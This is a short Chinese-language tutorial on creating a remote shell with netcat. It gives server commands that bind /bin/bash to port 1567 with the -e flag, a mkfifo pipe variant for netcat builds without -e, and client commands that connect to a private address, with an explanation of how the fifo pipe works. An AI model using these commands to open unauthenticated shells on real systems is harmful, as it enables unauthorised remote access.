使用netcat創建遠程shell
1、假設你的netcat支持 -c -e 參數(默認 netcat)
Server
$nc -l 1567 -e /bin/bash -i |
Client
$nc 172.31.100.7 1567 |
這裏我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash
2、假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell
Server
$mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo |
這裏我們創建了一個fifo文件,然後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然後管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件並且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 通過網絡發送輸出到client
至於爲什麼會成功是因爲管道使命令平行執行,fifo文件用來替代正常文件,因爲fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。
在客戶端僅僅簡單連接到服務器
Client
$nc -n 172.31.100.7 1567 |
你會得到一個shell提示符在客戶端